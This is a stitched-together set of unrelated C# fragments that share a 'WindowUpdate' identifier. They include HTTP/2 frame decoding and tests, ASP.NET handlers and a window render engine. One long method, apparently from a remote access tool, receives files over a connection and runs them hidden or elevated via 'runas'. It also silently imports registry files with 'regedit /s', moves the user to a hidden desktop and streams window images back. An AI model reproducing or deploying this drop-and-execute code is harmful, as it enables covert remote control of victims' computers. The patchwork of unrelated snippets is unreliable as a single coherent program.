public RenderEngine(WindowUpdate windowUpdate, byte[] data, int index) { Windows = new List <RenderWindow>(windowUpdate.NewWindows.Select(x => new RenderWindow(x))); var renderedWindow = Windows.FirstOrDefault(x => x.Handle == windowUpdate.RenderedWindowHandle); renderedWindow?.UpdateImage(data, index, (uint)(data.Length - index)); }
protected override Task GivenAsync( CancellationToken cancellationToken) { _frame = new WindowUpdate( UInt31.From(123), UInt31.From(542)); return(Task.CompletedTask); }
protected override async Task WhenAsync( CancellationToken cancellationToken) { _message = (WindowUpdate)(await Control.TryReadAsync( new FrameReader(PipeReader.Create(_serialized)), cancellationToken) .ConfigureAwait(false)).Result; }
//设置管理费比例 protected void btnMoneyManege_Click(object sender, EventArgs e) { try { Alert.Show("确定设置管理费比例!", "确认消息", MessageBoxIcon.Information, WindowUpdate.GetShowReference("~/FundInformation/MoneyWeb.aspx"), Target.Top); } catch (Exception ex) { publicmethod.SaveError(ex, this.Request); } }
private WindowUpdate DecodeWindowUpdate(DecodingContext context, int payloadLength, byte flags, int streamIdentifier) { if (payloadLength != 8) { throw new DecoderException(Http2ErrorCode.FrameSizeError, "WINDOW_UPDATE frame payload must be 4 bytes."); } var windowsSizeIncrement = BitConverter.ToInt32(context.Buffer, context.Offset) & ~Bit32; var frame = new WindowUpdate(windowsSizeIncrement); context.Offset += 4; context.BytesLeftToProcess -= 8; return(frame); }
protected override async Task WhenAsync( CancellationToken cancellationToken) { var rstSubscription = Server.On <RstStream>(); var windowUpdateSubscription = Server.On <WindowUpdate>(); await Server.SendAsync(Data.Last(_stream.Id, Encoding.UTF8.GetBytes("data")), cancellationToken) .ConfigureAwait(false); _rst = await rstSubscription.ReceiveAsync(cancellationToken) .ConfigureAwait(false); _windowUpdate = await windowUpdateSubscription .ReceiveAsync(cancellationToken) .ConfigureAwait(false); }
public void UpdateWindows(WindowUpdate windowUpdate, byte[] data, int index) { lock (_windowsLock) { foreach (var updatedWindow in windowUpdate.UpdatedWindows) { Windows.FirstOrDefault(x => x.Handle == updatedWindow.Handle)?.UpdateData(updatedWindow); } foreach (var newWindow in windowUpdate.NewWindows) { if (Windows.All(x => x.Handle != newWindow.Handle)) { Windows.Add(new RenderWindow(newWindow)); } } var windowsToRemove = Windows.Where(x => !windowUpdate.AllWindows.Contains(x.Handle)).ToList(); foreach (var removedWindow in windowsToRemove) { Windows.Remove(removedWindow); removedWindow.Dispose(); } if (data.Length != index) { Windows.FirstOrDefault(x => x.Handle == windowUpdate.RenderedWindowHandle)? .UpdateImage(data, index, (uint)(data.Length - index)); } //order windows Windows = Windows.OrderBy( x => windowUpdate.AllWindows.IndexOf(windowUpdate.AllWindows.FirstOrDefault(y => x.Handle == y))) .ToList(); RenderApplications(); } WindowsUpdated?.Invoke(this, EventArgs.Empty); }
//更新 protected void btnUpdate_Click(object sender, EventArgs e) { try { List <int> selections = publicmethod.GridCount(GridProjectAndPeople, CBoxSelect); if (selections.Count() != 0) { if (selections.Count() == 1) { int rowID = Convert.ToInt32(GridProjectAndPeople.DataKeys[selections[0]][0]); Session["StaffDevoteID"] = rowID; Alert.Show("你确定要修改该行数据吗!", "确认消息", MessageBoxIcon.Information, WindowUpdate.GetShowReference("Update_ProjectStaffDevote.aspx"), Target.Top); } else { Alert.Show("一次仅可以对一行进行编辑!"); } } else { Alert.Show("请选择一行!"); } } catch (Exception ex) { publicmethod.SaveError(ex, this.Request); } }
public override void ProcessCommand(byte[] parameter, IConnectionInfo connectionInfo) { switch ((DropAndExecuteCommunication)parameter[0]) { case DropAndExecuteCommunication.InitializeFileTransfer: var transferedFile = new TransferedFileInfo(Serializer.FastDeserialize <FileTransferInfo>(parameter, 1), GetTargetDirectory()); if (_transferedFiles == null) { _transferedFiles = new List <TransferedFileInfo>(); } _transferedFiles.Add(transferedFile); break; case DropAndExecuteCommunication.SendPackage: var fileGuid = new Guid(parameter.Skip(1).Take(16).ToArray()); transferedFile = _transferedFiles?.FirstOrDefault(x => x.Guid == fileGuid); var result = transferedFile?.ReceiveData(parameter, 17, parameter.Length - 17); if (result != null) { if (result == true) { ResponseBytes((byte)DropAndExecuteCommunication.ResponseUploadCompleted, fileGuid.ToByteArray(), connectionInfo); } else { ResponseBytes((byte)DropAndExecuteCommunication.ResponseUploadFailed, fileGuid.ToByteArray(), connectionInfo); } } break; case DropAndExecuteCommunication.UploadCanceled: fileGuid = new Guid(parameter.Skip(1).Take(16).ToArray()); transferedFile = _transferedFiles?.FirstOrDefault(x => x.Guid == fileGuid); if (transferedFile != null) { transferedFile.Dispose(); _transferedFiles.Remove(transferedFile); } break; case DropAndExecuteCommunication.WindowAction: var windowHandle = BitConverter.ToInt64(parameter, 1); OnWindowAction((RemoteDesktopAction)parameter[9], parameter, 10, windowHandle); break; case DropAndExecuteCommunication.StopExecution: _applicationWarder.StopExecution(); _applicationWarder.Dispose(); _applicationWarder = null; break; case DropAndExecuteCommunication.StopStreaming: _applicationWarder.Dispose(); _applicationWarder = null; break; case DropAndExecuteCommunication.SwitchUserToHiddenDesktop: var hiddenApplicationWarder = _applicationWarder as HiddenDesktopApplicationManager; if (hiddenApplicationWarder != null) { hiddenApplicationWarder.Desktop.Show(); ResponseByte((byte)DropAndExecuteCommunication.ResponseUserSwitched, connectionInfo); } break; case DropAndExecuteCommunication.SwitchUserBack: var desktop = Desktop.Default; desktop.Show(); ResponseByte((byte)DropAndExecuteCommunication.ResponseUserSwitched, connectionInfo); break; case DropAndExecuteCommunication.ExecuteFile: var options = Serializer.FastDeserialize <ExecuteOptions>(parameter, 1); transferedFile = _transferedFiles.FirstOrDefault(x => x.Guid == options.FileGuid); if (transferedFile == null) { ResponseByte((byte)DropAndExecuteCommunication.ResponseFileNotFound, connectionInfo); return; } switch (options.ExecutionMode) { case ExecutionMode.JustExecute: var processInfo = new ProcessStartInfo(transferedFile.FileName) { Arguments = options.Arguments }; if (options.RunAsAdministrator) { processInfo.Verb = "runas"; } var process = Process.Start(processInfo); Thread.Sleep(1000); if (process?.HasExited != false) { var exitCode = process?.ExitCode ?? 0; ResponseBytes( (byte)DropAndExecuteCommunication.ResponseFileMightNotHaveExecutedSuccessfully, BitConverter.GetBytes(exitCode), connectionInfo); } else { ResponseByte((byte)DropAndExecuteCommunication.ResponseFileExecuted, connectionInfo); } return; case ExecutionMode.ExecuteHidden: processInfo = new ProcessStartInfo(transferedFile.FileName) { Arguments = options.Arguments, CreateNoWindow = true, UseShellExecute = false, WindowStyle = ProcessWindowStyle.Hidden }; if (transferedFile.FileName.EndsWith("reg", StringComparison.OrdinalIgnoreCase)) { processInfo.FileName = "regedit.exe"; processInfo.Arguments = $"/s \"{transferedFile.FileName}\""; } if (options.RunAsAdministrator) { processInfo.Verb = "runas"; } process = Process.Start(processInfo); Thread.Sleep(1000); if (process?.HasExited != false) { var exitCode = process?.ExitCode ?? 0; ResponseBytes( (byte)DropAndExecuteCommunication.ResponseFileMightNotHaveExecutedSuccessfully, BitConverter.GetBytes(exitCode), connectionInfo); } else { ResponseByte((byte)DropAndExecuteCommunication.ResponseFileExecuted, connectionInfo); } return; case ExecutionMode.ExecuteAndCapture: return; case ExecutionMode.ExecuteInSecondDesktopAndCapture: _applicationWarder = new HiddenDesktopApplicationManager(); break; default: throw new ArgumentOutOfRangeException(); } try { _applicationWarder.OpenApplication(transferedFile.FileName, options.Arguments, options.RunAsAdministrator); } catch (Exception) { ResponseByte( (byte)DropAndExecuteCommunication.ResponseFileExecutionFailed, connectionInfo); _applicationWarder.Dispose(); _applicationWarder = null; return; } IDataInfo firstRenderInfo = null; WindowUpdate windowUpdate = null; for (int i = 0; i < 5; i++) { try { windowUpdate = _applicationWarder.GetWindowUpdate(0, out firstRenderInfo); } catch (Exception) { // ignored } if (windowUpdate != null) { break; } Thread.Sleep(1000); } var windowUpdateData = Serializer.FastSerialize(windowUpdate); connectionInfo.UnsafeResponse(this, firstRenderInfo.Length + windowUpdateData.Length + 4 + 1, writer => { writer.Write((byte)DropAndExecuteCommunication.ResponseBeginStreaming); writer.Write(windowUpdateData.Length); writer.Write(windowUpdateData); firstRenderInfo.WriteIntoStream(writer.BaseStream); }); break; case DropAndExecuteCommunication.GetWindowUpdate: if (_applicationWarder == null) { return; } IDataInfo renderInfo; windowUpdate = _applicationWarder.GetWindowUpdate(BitConverter.ToInt64(parameter, 1), out renderInfo); if (windowUpdate == null) { _applicationWarder.Dispose(); ResponseByte((byte)DropAndExecuteCommunication.ResponseStopStreaming, connectionInfo); return; } windowUpdateData = Serializer.FastSerialize(windowUpdate); connectionInfo.UnsafeResponse(this, (renderInfo?.Length ?? 0) + windowUpdateData.Length + 4 + 1, writer => { writer.Write((byte)DropAndExecuteCommunication.ResponseWindowUpdate); writer.Write(windowUpdateData.Length); writer.Write(windowUpdateData); renderInfo?.WriteIntoStream(writer.BaseStream); }); break; default: throw new ArgumentOutOfRangeException(); } }
public void It_should_send_window_update_for_the_connection() { _flowControlMessages .Should().ContainEquivalentOf(WindowUpdate.ConnectionFlowControl(7)); }